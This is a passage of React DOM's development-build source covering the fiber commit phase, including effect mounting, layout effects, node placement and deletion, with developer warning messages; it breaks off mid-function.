  function commitHookEffectListMount(flags, finishedWork) {
    var updateQueue = finishedWork.updateQueue;
    var lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;

    if (lastEffect !== null) {
      var firstEffect = lastEffect.next;
      var effect = firstEffect;

      do {
        if ((effect.tag & flags) === flags) {
          {
            if ((flags & Passive$1) !== NoFlags$1) {
              markComponentPassiveEffectMountStarted(finishedWork);
            } else if ((flags & Layout) !== NoFlags$1) {
              markComponentLayoutEffectMountStarted(finishedWork);
            }
          } // Mount


          var create = effect.create;

          {
            if ((flags & Insertion) !== NoFlags$1) {
              setIsRunningInsertionEffect(true);
            }
          }

          effect.destroy = create();

          {
            if ((flags & Insertion) !== NoFlags$1) {
              setIsRunningInsertionEffect(false);
            }
          }

          {
            if ((flags & Passive$1) !== NoFlags$1) {
              markComponentPassiveEffectMountStopped();
            } else if ((flags & Layout) !== NoFlags$1) {
              markComponentLayoutEffectMountStopped();
            }
          }

          {
            var destroy = effect.destroy;

            if (destroy !== undefined && typeof destroy !== 'function') {
              var hookName = void 0;

              if ((effect.tag & Layout) !== NoFlags) {
                hookName = 'useLayoutEffect';
              } else if ((effect.tag & Insertion) !== NoFlags) {
                hookName = 'useInsertionEffect';
              } else {
                hookName = 'useEffect';
              }

              var addendum = void 0;

              if (destroy === null) {
                addendum = ' You returned null. If your effect does not require clean ' + 'up, return undefined (or nothing).';
              } else if (typeof destroy.then === 'function') {
                addendum = '\n\nIt looks like you wrote ' + hookName + '(async () => ...) or returned a Promise. ' + 'Instead, write the async function inside your effect ' + 'and call it immediately:\n\n' + hookName + '(() => {\n' + '  async function fetchData() {\n' + '    // You can await here\n' + '    const response = await MyAPI.getData(someId);\n' + '    // ...\n' + '  }\n' + '  fetchData();\n' + "}, [someId]); // Or [] if effect doesn't need props or state\n\n" + 'Learn more about data fetching with Hooks: https://reactjs.org/link/hooks-data-fetching';
              } else {
                addendum = ' You returned: ' + destroy;
              }

              error('%s must not return anything besides a function, ' + 'which is used for clean-up.%s', hookName, addendum);
            }
          }
        }

        effect = effect.next;
      } while (effect !== firstEffect);
    }
  }

  function commitPassiveEffectDurations(finishedRoot, finishedWork) {
    {
      // Only Profilers with work in their subtree will have an Update effect scheduled.
      if ((finishedWork.flags & Update) !== NoFlags) {
        switch (finishedWork.tag) {
          case Profiler:
            {
              var passiveEffectDuration = finishedWork.stateNode.passiveEffectDuration;
              var _finishedWork$memoize = finishedWork.memoizedProps,
                  id = _finishedWork$memoize.id,
                  onPostCommit = _finishedWork$memoize.onPostCommit; // This value will still reflect the previous commit phase.
              // It does not get reset until the start of the next commit phase.

              var commitTime = getCommitTime();
              var phase = finishedWork.alternate === null ? 'mount' : 'update';

              {
                if (isCurrentUpdateNested()) {
                  phase = 'nested-update';
                }
              }

              if (typeof onPostCommit === 'function') {
                onPostCommit(id, phase, passiveEffectDuration, commitTime);
              } // Bubble times to the next nearest ancestor Profiler.
              // After we process that Profiler, we'll bubble further up.


              var parentFiber = finishedWork.return;

              outer: while (parentFiber !== null) {
                switch (parentFiber.tag) {
                  case HostRoot:
                    var root = parentFiber.stateNode;
                    root.passiveEffectDuration += passiveEffectDuration;
                    break outer;

                  case Profiler:
                    var parentStateNode = parentFiber.stateNode;
                    parentStateNode.passiveEffectDuration += passiveEffectDuration;
                    break outer;
                }

                parentFiber = parentFiber.return;
              }

              break;
            }
        }
      }
    }
  }

  function commitLayoutEffectOnFiber(finishedRoot, current, finishedWork, committedLanes) {
    if ((finishedWork.flags & LayoutMask) !== NoFlags) {
      switch (finishedWork.tag) {
        case FunctionComponent:
        case ForwardRef:
        case SimpleMemoComponent:
          {
            if ( !offscreenSubtreeWasHidden) {
              // At this point layout effects have already been destroyed (during mutation phase).
              // This is done to prevent sibling component effects from interfering with each other,
              // e.g. a destroy function in one component should never override a ref set
              // by a create function in another component during the same commit.
              if ( finishedWork.mode & ProfileMode) {
                try {
                  startLayoutEffectTimer();
                  commitHookEffectListMount(Layout | HasEffect, finishedWork);
                } finally {
                  recordLayoutEffectDuration(finishedWork);
                }
              } else {
                commitHookEffectListMount(Layout | HasEffect, finishedWork);
              }
            }

            break;
          }

        case ClassComponent:
          {
            var instance = finishedWork.stateNode;

            if (finishedWork.flags & Update) {
              if (!offscreenSubtreeWasHidden) {
                if (current === null) {
                  // We could update instance props and state here,
                  // but instead we rely on them being set during last render.
                  // TODO: revisit this when we implement resuming.
                  {
                    if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
                      if (instance.props !== finishedWork.memoizedProps) {
                        error('Expected %s props to match memoized props before ' + 'componentDidMount. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.props`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
                      }

                      if (instance.state !== finishedWork.memoizedState) {
                        error('Expected %s state to match memoized state before ' + 'componentDidMount. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.state`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
                      }
                    }
                  }

                  if ( finishedWork.mode & ProfileMode) {
                    try {
                      startLayoutEffectTimer();
                      instance.componentDidMount();
                    } finally {
                      recordLayoutEffectDuration(finishedWork);
                    }
                  } else {
                    instance.componentDidMount();
                  }
                } else {
                  var prevProps = finishedWork.elementType === finishedWork.type ? current.memoizedProps : resolveDefaultProps(finishedWork.type, current.memoizedProps);
                  var prevState = current.memoizedState; // We could update instance props and state here,
                  // but instead we rely on them being set during last render.
                  // TODO: revisit this when we implement resuming.

                  {
                    if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
                      if (instance.props !== finishedWork.memoizedProps) {
                        error('Expected %s props to match memoized props before ' + 'componentDidUpdate. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.props`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
                      }

                      if (instance.state !== finishedWork.memoizedState) {
                        error('Expected %s state to match memoized state before ' + 'componentDidUpdate. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.state`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
                      }
                    }
                  }

                  if ( finishedWork.mode & ProfileMode) {
                    try {
                      startLayoutEffectTimer();
                      instance.componentDidUpdate(prevProps, prevState, instance.__reactInternalSnapshotBeforeUpdate);
                    } finally {
                      recordLayoutEffectDuration(finishedWork);
                    }
                  } else {
                    instance.componentDidUpdate(prevProps, prevState, instance.__reactInternalSnapshotBeforeUpdate);
                  }
                }
              }
            } // TODO: I think this is now always non-null by the time it reaches the
            // commit phase. Consider removing the type check.


            var updateQueue = finishedWork.updateQueue;

            if (updateQueue !== null) {
              {
                if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
                  if (instance.props !== finishedWork.memoizedProps) {
                    error('Expected %s props to match memoized props before ' + 'processing the update queue. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.props`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
                  }

                  if (instance.state !== finishedWork.memoizedState) {
                    error('Expected %s state to match memoized state before ' + 'processing the update queue. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.state`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
                  }
                }
              } // We could update instance props and state here,
              // but instead we rely on them being set during last render.
              // TODO: revisit this when we implement resuming.


              commitUpdateQueue(finishedWork, updateQueue, instance);
            }

            break;
          }

        case HostRoot:
          {
            // TODO: I think this is now always non-null by the time it reaches the
            // commit phase. Consider removing the type check.
            var _updateQueue = finishedWork.updateQueue;

            if (_updateQueue !== null) {
              var _instance = null;

              if (finishedWork.child !== null) {
                switch (finishedWork.child.tag) {
                  case HostComponent:
                    _instance = getPublicInstance(finishedWork.child.stateNode);
                    break;

                  case ClassComponent:
                    _instance = finishedWork.child.stateNode;
                    break;
                }
              }

              commitUpdateQueue(finishedWork, _updateQueue, _instance);
            }

            break;
          }

        case HostComponent:
          {
            var _instance2 = finishedWork.stateNode; // Renderers may schedule work to be done after host components are mounted
            // (eg DOM renderer may schedule auto-focus for inputs and form controls).
            // These effects should only be committed when components are first mounted,
            // aka when there is no current/alternate.

            if (current === null && finishedWork.flags & Update) {
              var type = finishedWork.type;
              var props = finishedWork.memoizedProps;
              commitMount(_instance2, type, props);
            }

            break;
          }

        case HostText:
          {
            // We have no life-cycles associated with text.
            break;
          }

        case HostPortal:
          {
            // We have no life-cycles associated with portals.
            break;
          }

        case Profiler:
          {
            {
              var _finishedWork$memoize2 = finishedWork.memoizedProps,
                  onCommit = _finishedWork$memoize2.onCommit,
                  onRender = _finishedWork$memoize2.onRender;
              var effectDuration = finishedWork.stateNode.effectDuration;
              var commitTime = getCommitTime();
              var phase = current === null ? 'mount' : 'update';

              {
                if (isCurrentUpdateNested()) {
                  phase = 'nested-update';
                }
              }

              if (typeof onRender === 'function') {
                onRender(finishedWork.memoizedProps.id, phase, finishedWork.actualDuration, finishedWork.treeBaseDuration, finishedWork.actualStartTime, commitTime);
              }

              {
                if (typeof onCommit === 'function') {
                  onCommit(finishedWork.memoizedProps.id, phase, effectDuration, commitTime);
                } // Schedule a passive effect for this Profiler to call onPostCommit hooks.
                // This effect should be scheduled even if there is no onPostCommit callback for this Profiler,
                // because the effect is also where times bubble to parent Profilers.


                enqueuePendingPassiveProfilerEffect(finishedWork); // Propagate layout effect durations to the next nearest Profiler ancestor.
                // Do not reset these values until the next render so DevTools has a chance to read them first.

                var parentFiber = finishedWork.return;

                outer: while (parentFiber !== null) {
                  switch (parentFiber.tag) {
                    case HostRoot:
                      var root = parentFiber.stateNode;
                      root.effectDuration += effectDuration;
                      break outer;

                    case Profiler:
                      var parentStateNode = parentFiber.stateNode;
                      parentStateNode.effectDuration += effectDuration;
                      break outer;
                  }

                  parentFiber = parentFiber.return;
                }
              }
            }

            break;
          }

        case SuspenseComponent:
          {
            commitSuspenseHydrationCallbacks(finishedRoot, finishedWork);
            break;
          }

        case SuspenseListComponent:
        case IncompleteClassComponent:
        case ScopeComponent:
        case OffscreenComponent:
        case LegacyHiddenComponent:
        case TracingMarkerComponent:
          {
            break;
          }

        default:
          throw new Error('This unit of work tag should not have side-effects. This error is ' + 'likely caused by a bug in React. Please file an issue.');
      }
    }

    if ( !offscreenSubtreeWasHidden) {
      {
        if (finishedWork.flags & Ref) {
          commitAttachRef(finishedWork);
        }
      }
    }
  }

  function reappearLayoutEffectsOnFiber(node) {
    // Turn on layout effects in a tree that previously disappeared.
    // TODO (Offscreen) Check: flags & LayoutStatic
    switch (node.tag) {
      case FunctionComponent:
      case ForwardRef:
      case SimpleMemoComponent:
        {
          if ( node.mode & ProfileMode) {
            try {
              startLayoutEffectTimer();
              safelyCallCommitHookLayoutEffectListMount(node, node.return);
            } finally {
              recordLayoutEffectDuration(node);
            }
          } else {
            safelyCallCommitHookLayoutEffectListMount(node, node.return);
          }

          break;
        }

      case ClassComponent:
        {
          var instance = node.stateNode;

          if (typeof instance.componentDidMount === 'function') {
            safelyCallComponentDidMount(node, node.return, instance);
          }

          safelyAttachRef(node, node.return);
          break;
        }

      case HostComponent:
        {
          safelyAttachRef(node, node.return);
          break;
        }
    }
  }

  function hideOrUnhideAllChildren(finishedWork, isHidden) {
    // Only hide or unhide the top-most host nodes.
    var hostSubtreeRoot = null;

    {
      // We only have the top Fiber that was inserted but we need to recurse down its
      // children to find all the terminal nodes.
      var node = finishedWork;

      while (true) {
        if (node.tag === HostComponent) {
          if (hostSubtreeRoot === null) {
            hostSubtreeRoot = node;

            try {
              var instance = node.stateNode;

              if (isHidden) {
                hideInstance(instance);
              } else {
                unhideInstance(node.stateNode, node.memoizedProps);
              }
            } catch (error) {
              captureCommitPhaseError(finishedWork, finishedWork.return, error);
            }
          }
        } else if (node.tag === HostText) {
          if (hostSubtreeRoot === null) {
            try {
              var _instance3 = node.stateNode;

              if (isHidden) {
                hideTextInstance(_instance3);
              } else {
                unhideTextInstance(_instance3, node.memoizedProps);
              }
            } catch (error) {
              captureCommitPhaseError(finishedWork, finishedWork.return, error);
            }
          }
        } else if ((node.tag === OffscreenComponent || node.tag === LegacyHiddenComponent) && node.memoizedState !== null && node !== finishedWork) ; else if (node.child !== null) {
          node.child.return = node;
          node = node.child;
          continue;
        }

        if (node === finishedWork) {
          return;
        }

        while (node.sibling === null) {
          if (node.return === null || node.return === finishedWork) {
            return;
          }

          if (hostSubtreeRoot === node) {
            hostSubtreeRoot = null;
          }

          node = node.return;
        }

        if (hostSubtreeRoot === node) {
          hostSubtreeRoot = null;
        }

        node.sibling.return = node.return;
        node = node.sibling;
      }
    }
  }

  function commitAttachRef(finishedWork) {
    var ref = finishedWork.ref;

    if (ref !== null) {
      var instance = finishedWork.stateNode;
      var instanceToUse;

      switch (finishedWork.tag) {
        case HostComponent:
          instanceToUse = getPublicInstance(instance);
          break;

        default:
          instanceToUse = instance;
      } // Moved outside to ensure DCE works with this flag

      if (typeof ref === 'function') {
        var retVal;

        if ( finishedWork.mode & ProfileMode) {
          try {
            startLayoutEffectTimer();
            retVal = ref(instanceToUse);
          } finally {
            recordLayoutEffectDuration(finishedWork);
          }
        } else {
          retVal = ref(instanceToUse);
        }

        {
          if (typeof retVal === 'function') {
            error('Unexpected return value from a callback ref in %s. ' + 'A callback ref should not return a function.', getComponentNameFromFiber(finishedWork));
          }
        }
      } else {
        {
          if (!ref.hasOwnProperty('current')) {
            error('Unexpected ref object provided for %s. ' + 'Use either a ref-setter function or React.createRef().', getComponentNameFromFiber(finishedWork));
          }
        }

        ref.current = instanceToUse;
      }
    }
  }

  function detachFiberMutation(fiber) {
    // Cut off the return pointer to disconnect it from the tree.
    // This enables us to detect and warn against state updates on an unmounted component.
    // It also prevents events from bubbling from within disconnected components.
    //
    // Ideally, we should also clear the child pointer of the parent alternate to let this
    // get GC:ed but we don't know which for sure which parent is the current
    // one so we'll settle for GC:ing the subtree of this child.
    // This child itself will be GC:ed when the parent updates the next time.
    //
    // Note that we can't clear child or sibling pointers yet.
    // They're needed for passive effects and for findDOMNode.
    // We defer those fields, and all other cleanup, to the passive phase (see detachFiberAfterEffects).
    //
    // Don't reset the alternate yet, either. We need that so we can detach the
    // alternate's fields in the passive phase. Clearing the return pointer is
    // sufficient for findDOMNode semantics.
    var alternate = fiber.alternate;

    if (alternate !== null) {
      alternate.return = null;
    }

    fiber.return = null;
  }

  function detachFiberAfterEffects(fiber) {
    var alternate = fiber.alternate;

    if (alternate !== null) {
      fiber.alternate = null;
      detachFiberAfterEffects(alternate);
    } // Note: Defensively using negation instead of < in case
    // `deletedTreeCleanUpLevel` is undefined.


    {
      // Clear cyclical Fiber fields. This level alone is designed to roughly
      // approximate the planned Fiber refactor. In that world, `setState` will be
      // bound to a special "instance" object instead of a Fiber. The Instance
      // object will not have any of these fields. It will only be connected to
      // the fiber tree via a single link at the root. So if this level alone is
      // sufficient to fix memory issues, that bodes well for our plans.
      fiber.child = null;
      fiber.deletions = null;
      fiber.sibling = null; // The `stateNode` is cyclical because on host nodes it points to the host
      // tree, which has its own pointers to children, parents, and siblings.
      // The other host nodes also point back to fibers, so we should detach that
      // one, too.

      if (fiber.tag === HostComponent) {
        var hostInstance = fiber.stateNode;

        if (hostInstance !== null) {
          detachDeletedInstance(hostInstance);
        }
      }

      fiber.stateNode = null; // I'm intentionally not clearing the `return` field in this level. We
      // already disconnect the `return` pointer at the root of the deleted
      // subtree (in `detachFiberMutation`). Besides, `return` by itself is not
      // cyclical — it's only cyclical when combined with `child`, `sibling`, and
      // `alternate`. But we'll clear it in the next level anyway, just in case.

      {
        fiber._debugOwner = null;
      }

      {
        // Theoretically, nothing in here should be necessary, because we already
        // disconnected the fiber from the tree. So even if something leaks this
        // particular fiber, it won't leak anything else
        //
        // The purpose of this branch is to be super aggressive so we can measure
        // if there's any difference in memory impact. If there is, that could
        // indicate a React leak we don't know about.
        fiber.return = null;
        fiber.dependencies = null;
        fiber.memoizedProps = null;
        fiber.memoizedState = null;
        fiber.pendingProps = null;
        fiber.stateNode = null; // TODO: Move to `commitPassiveUnmountInsideDeletedTreeOnFiber` instead.

        fiber.updateQueue = null;
      }
    }
  }

  function getHostParentFiber(fiber) {
    var parent = fiber.return;

    while (parent !== null) {
      if (isHostParent(parent)) {
        return parent;
      }

      parent = parent.return;
    }

    throw new Error('Expected to find a host parent. This error is likely caused by a bug ' + 'in React. Please file an issue.');
  }

  function isHostParent(fiber) {
    return fiber.tag === HostComponent || fiber.tag === HostRoot || fiber.tag === HostPortal;
  }

  function getHostSibling(fiber) {
    // We're going to search forward into the tree until we find a sibling host
    // node. Unfortunately, if multiple insertions are done in a row we have to
    // search past them. This leads to exponential search for the next sibling.
    // TODO: Find a more efficient way to do this.
    var node = fiber;

    siblings: while (true) {
      // If we didn't find anything, let's try the next sibling.
      while (node.sibling === null) {
        if (node.return === null || isHostParent(node.return)) {
          // If we pop out of the root or hit the parent the fiber we are the
          // last sibling.
          return null;
        }

        node = node.return;
      }

      node.sibling.return = node.return;
      node = node.sibling;

      while (node.tag !== HostComponent && node.tag !== HostText && node.tag !== DehydratedFragment) {
        // If it is not host node and, we might have a host node inside it.
        // Try to search down until we find one.
        if (node.flags & Placement) {
          // If we don't have a child, try the siblings instead.
          continue siblings;
        } // If we don't have a child, try the siblings instead.
        // We also skip portals because they are not part of this host tree.


        if (node.child === null || node.tag === HostPortal) {
          continue siblings;
        } else {
          node.child.return = node;
          node = node.child;
        }
      } // Check if this host node is stable or about to be placed.


      if (!(node.flags & Placement)) {
        // Found it!
        return node.stateNode;
      }
    }
  }

  function commitPlacement(finishedWork) {


    var parentFiber = getHostParentFiber(finishedWork); // Note: these two variables *must* always be updated together.

    switch (parentFiber.tag) {
      case HostComponent:
        {
          var parent = parentFiber.stateNode;

          if (parentFiber.flags & ContentReset) {
            // Reset the text content of the parent before doing any insertions
            resetTextContent(parent); // Clear ContentReset from the effect tag

            parentFiber.flags &= ~ContentReset;
          }

          var before = getHostSibling(finishedWork); // We only have the top Fiber that was inserted but we need to recurse down its
          // children to find all the terminal nodes.

          insertOrAppendPlacementNode(finishedWork, before, parent);
          break;
        }

      case HostRoot:
      case HostPortal:
        {
          var _parent = parentFiber.stateNode.containerInfo;

          var _before = getHostSibling(finishedWork);

          insertOrAppendPlacementNodeIntoContainer(finishedWork, _before, _parent);
          break;
        }
      // eslint-disable-next-line-no-fallthrough

      default:
        throw new Error('Invalid host parent fiber. This error is likely caused by a bug ' + 'in React. Please file an issue.');
    }
  }

  function insertOrAppendPlacementNodeIntoContainer(node, before, parent) {
    var tag = node.tag;
    var isHost = tag === HostComponent || tag === HostText;

    if (isHost) {
      var stateNode = node.stateNode;

      if (before) {
        insertInContainerBefore(parent, stateNode, before);
      } else {
        appendChildToContainer(parent, stateNode);
      }
    } else if (tag === HostPortal) ; else {
      var child = node.child;

      if (child !== null) {
        insertOrAppendPlacementNodeIntoContainer(child, before, parent);
        var sibling = child.sibling;

        while (sibling !== null) {
          insertOrAppendPlacementNodeIntoContainer(sibling, before, parent);
          sibling = sibling.sibling;
        }
      }
    }
  }

  function insertOrAppendPlacementNode(node, before, parent) {
    var tag = node.tag;
    var isHost = tag === HostComponent || tag === HostText;

    if (isHost) {
      var stateNode = node.stateNode;

      if (before) {
        insertBefore(parent, stateNode, before);
      } else {
        appendChild(parent, stateNode);
      }
    } else if (tag === HostPortal) ; else {
      var child = node.child;

      if (child !== null) {
        insertOrAppendPlacementNode(child, before, parent);
        var sibling = child.sibling;

        while (sibling !== null) {
          insertOrAppendPlacementNode(sibling, before, parent);
          sibling = sibling.sibling;
        }
      }
    }
  } // These are tracked on the stack as we recursively traverse a
  // deleted subtree.
  // TODO: Update these during the whole mutation phase, not just during
  // a deletion.


  var hostParent = null;
  var hostParentIsContainer = false;

  function commitDeletionEffects(root, returnFiber, deletedFiber) {
    {
      // We only have the top Fiber that was deleted but we need to recurse down its
      // children to find all the terminal nodes.
      // Recursively delete all host nodes from the parent, detach refs, clean
      // up mounted layout effects, and call componentWillUnmount.
      // We only need to remove the topmost host child in each branch. But then we
      // still need to keep traversing to unmount effects, refs, and cWU. TODO: We
      // could split this into two separate traversals functions, where the second
      // one doesn't include any removeChild logic. This is maybe the same
      // function as "disappearLayoutEffects" (or whatever that turns into after
      // the layout phase is refactored to use recursion).
      // Before starting, find the nearest host parent on the stack so we know
      // which instance/container to remove the children from.
      // TODO: Instead of searching up the fiber return path on every deletion, we
      // can track the nearest host component on the JS stack as we traverse the
      // tree during the commit phase. This would make insertions faster, too.
      var parent = returnFiber;

      findParent: while (parent !== null) {
        switch (parent.tag) {
          case HostComponent:
            {
              hostParent = parent.stateNode;
              hostParentIsContainer = false;
              break findParent;
            }

          case HostRoot:
            {
              hostParent = parent.stateNode.containerInfo;
              hostParentIsContainer = true;
              break findParent;
            }

          case HostPortal:
            {
              hostParent = parent.stateNode.containerInfo;
              hostParentIsContainer = true;
              break findParent;
            }
        }

        parent = parent.return;
      }

      if (hostParent === null) {
        throw new Error('Expected to find a host parent. This error is likely caused by ' + 'a bug in React. Please file an issue.');
      }

      commitDeletionEffectsOnFiber(root, returnFiber, deletedFiber);
      hostParent = null;
      hostParentIsContainer = false;
    }

    detachFiberMutation(deletedFiber);
  }

  function recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, parent) {
    // TODO: Use a static flag to skip trees that don't have unmount effects
    var child = parent.child;

    while (child !== null) {
      commitDeletionEffectsOnFiber(finishedRoot, nearestMountedAncestor, child);
      child = child.sibling;
    }
  }

  function commitDeletionEffectsOnFiber(finishedRoot, nearestMountedAncestor, deletedFiber) {
    onCommitUnmount(deletedFiber); // The cases in this outer switch modify the stack before they traverse
    // into their subtree. There are simpler cases in the inner switch
    // that don't modify the stack.

    switch (deletedFiber.tag) {
      case HostComponent:
        {
          if (!offscreenSubtreeWasHidden) {
            safelyDetachRef(deletedFiber, nearestMountedAncestor);
          } // Intentional fallthrough to next branch

        }
      // eslint-disable-next-line-no-fallthrough

      case HostText:
        {
          // We only need to remove the nearest host child. Set the host parent
          // to `null` on the stack to indicate that nested children don't
          // need to be removed.
          {
            var prevHostParent = hostParent;
            var prevHostParentIsContainer = hostParentIsContainer;
            hostParent = null;
            recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
            hostParent = prevHostParent;
            hostParentIsContainer = prevHostParentIsContainer;

            if (hostParent !== null) {
              // Now that all the child effects have unmounted, we can remove the
              // node from the tree.
              if (hostParentIsContainer) {
                removeChildFromContainer(hostParent, deletedFiber.stateNode);
              } else {
                removeChild(hostParent, deletedFiber.stateNode);
              }
            }
          }

          return;
        }

      case DehydratedFragment:
        {
          // Delete the dehydrated suspense boundary and all of its content.


          {
            if (hostParent !== null) {
              if (hostParentIsContainer) {
                clearSuspenseBoundaryFromContainer(hostParent, deletedFiber.stateNode);
              } else {
                clearSuspenseBoundary(hostParent, deletedFiber.stateNode);
              }
            }
          }

          return;
        }

      case HostPortal:
        {
          {
            // When we go into a portal, it becomes the parent to remove from.
            var _prevHostParent = hostParent;
            var _prevHostParentIsContainer = hostParentIsContainer;
            hostParent = deletedFiber.stateNode.containerInfo;
            hostParentIsContainer = true;
            recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
            hostParent = _prevHostParent;
            hostParentIsContainer = _prevHostParentIsContainer;
          }

          return;
        }

      case FunctionComponent:
      case ForwardRef:
      case MemoComponent:
      case SimpleMemoComponent:
        {
          if (!offscreenSubtreeWasHidden) {
            var updateQueue = deletedFiber.updateQueue;

            if (updateQueue !== null) {
              var lastEffect = updateQueue.lastEffect;

              if (lastEffect !== null) {
                var firstEffect = lastEffect.next;
                var effect = firstEffect;

                do {
                  var _effect = effect,
                      destroy = _effect.destroy,
                      tag = _effect.tag;

                  if (destroy !== undefined) {
                    if ((tag & Insertion) !== NoFlags$1) {
                      safelyCallDestroy(deletedFiber, nearestMountedAncestor, destroy);
                    } else if ((tag & Layout) !== NoFlags$1) {
                      {
                        markComponentLayoutEffectUnmountStarted(deletedFiber);
                      }

                      if ( deletedFiber.mode & ProfileMode) {
                        startLayoutEffectTimer();
                        safelyCallDestroy(deletedFiber, nearestMountedAncestor, destroy);
                        recordLayoutEffectDuration(deletedFiber);
                      } else {
                        safelyCallDestroy(deletedFiber, nearestMountedAncestor, destroy);
                      }

                      {
                        markComponentLayoutEffectUnmountStopped();
                      }
                    }
                  }

                  effect = effect.next;
                } while (effect !== firstEffect);
              }
            }
          }

          recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
          return;
        }

      case ClassComponent:
        {
          if (!offscreenSubtreeWasHidden) {
            safelyDetachRef(deletedFiber, nearestMountedAncestor);
            var instance = deletedFiber.stateNode;

            if (typeof instance.componentWillUnmount === 'function') {
              safelyCallComponentWillUnmount(deletedFiber, nearestMountedAncestor, instance);
            }
          }

          recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
          return;
        }

      case ScopeComponent:
        {

          recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
          return;
        }

      case OffscreenComponent:
        {
          if ( // TODO: Remove this dead flag
           deletedFiber.mode & ConcurrentMode) {
            // If this offscreen component is hidden, we already unmounted it. Before
            // deleting the children, track that it's already unmounted so that we
            // don't attempt to unmount the effects again.
            // TODO: If the tree is hidden, in most cases we should be able to skip
            // over the nested children entirely. An exception is we haven't yet found
            // the topmost host node to delete, which we already track on the stack.
            // But the other case is portals, which need to be detached no matter how
            // deeply they are nested. We should use a subtree flag to track whether a
            // subtree includes a nested portal.
            var prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden;
            offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden || deletedFiber.memoizedState !== null;
            recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
            offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;
          } else {
            recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
          }

          break;
        }

      default:
        {
          recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
          return;
        }
    }
  }

  function commitSuspenseCallback(finishedWork) {
    // TODO: Move this to passive phase
    var newState = finishedWork.memoizedState;
  }

  function commitSuspenseHydrationCallbacks(finishedRoot, finishedWork) {

    var newState = finishedWork.memoizedState;

    if (newState === null) {
      var current = finishedWork.alternate;

      if (current !== null) {
        var prevState = current.memoizedState;

        if (prevState !== null) {
          var suspenseInstance = prevState.dehydrated;

          if (suspenseInstance !== null) {
            commitHydratedSuspenseInstance(suspenseInstance);
          }
        }
      }
    }
  }

  function attachSuspenseRetryListeners(finishedWork) {
    // If this boundary just timed out, then it will have a set of wakeables.
    // For each wakeable, attach a listener so that when it resolves, React
    // attempts to re-render the boundary in the primary (pre-timeout) state.
    var wakeables = finishedWork.updateQueue;

    if (wakeables !== null) {
      finishedWork.updateQueue = null;
      var retryCache = finishedWork.stateNode;

      if (retryCache === null) {
        retryCache = finishedWork.stateNode = new PossiblyWeakSet();
      }

      wakeables.forEach(function (wakeable) {
        // Memoize using the boundary fiber to prevent redundant listeners.
        var retry = resolveRetryWakeable.bind(null, finishedWork, wakeable);

        if (!retryCache.has(wakeable)) {
          retryCache.add(wakeable);

          {
            if (isDevToolsPresent) {
              if (inProgressLanes !== null && inProgressRoot !== null) {
                // If we have pending work still, associate the original updaters with it.
                restorePendingUpdaters(inProgressRoot, inProgressLanes);
              } else {
                throw Error('Expected finished root and lanes to be set. This is a bug in React.');
              }
            }
          }

          wakeable.then(retry, retry);
        }
      });
    }
  } // This function detects when a Suspense boundary goes from visible to hidden.
  function commitMutationEffects(root, finishedWork, committedLanes) {
    inProgressLanes = committedLanes;
    inProgressRoot = root;
    setCurrentFiber(finishedWork);
    commitMutationEffectsOnFiber(finishedWork, root);
    setCurrentFiber(finishedWork);
    inProgressLanes = null;
    inProgressRoot = null;
  }

  function recursivelyTraverseMutationEffects(root, parentFiber, lanes) {
    // Deletions effects can be scheduled on any fiber type. They need to happen
    // before the children effects hae fired.
    var deletions = parentFiber.deletions;

    if (deletions !== null) {
      for (var i = 0; i < deletions.length; i++) {
        var childToDelete = deletions[i];

        try {
          commitDeletionEffects(root, parentFiber, childToDelete);
        } catch (error) {
          captureCommitPhaseError(childToDelete, parentFiber, error);
        }
      }
    }

    var prevDebugFiber = getCurrentFiber();

    if (parentFiber.subtreeFlags & MutationMask) {
      var child = parentFiber.child;

      while (child !== null) {
        setCurrentFiber(child);
        commitMutationEffectsOnFiber(child, root);
        child = child.sibling;
      }
    }

    setCurrentFiber(prevDebugFiber);
  }

  function commitMutationEffectsOnFiber(finishedWork, root, lanes) {
    var current = finishedWork.alternate;
    var flags = finishedWork.flags; // The effect flag should be checked *after* we refine the type of fiber,
    // because the fiber tag is more specific. An exception is any flag related
    // to reconcilation, because those can be set on all fiber types.

    switch (finishedWork.tag) {
      case FunctionComponent:
      case ForwardRef:
      case MemoComponent:
      case SimpleMemoComponent:
        {
          recursivelyTraverseMutationEffects(root, finishedWork);
          commitReconciliationEffects(finishedWork);

          if (flags & Update) {
            try {
              commitHookEffectListUnmount(Insertion | HasEffect, finishedWork, finishedWork.return);
              commitHookEffectListMount(Insertion | HasEffect, finishedWork);
            } catch (error) {
              captureCommitPhaseError(finishedWork, finishedWork.return, error);
            } // Layout effects are destroyed during the mutation phase so that all
            // destroy functions for all fibers are called before any create functions.
            // This prevents sibling component effects from interfering with each other,
            // e.g. a destroy function in one component should never override a ref set
            // by a create function in another component during the same commit.


            if ( finishedWork.mode & ProfileMode) {
              try {
                startLayoutEffectTimer();
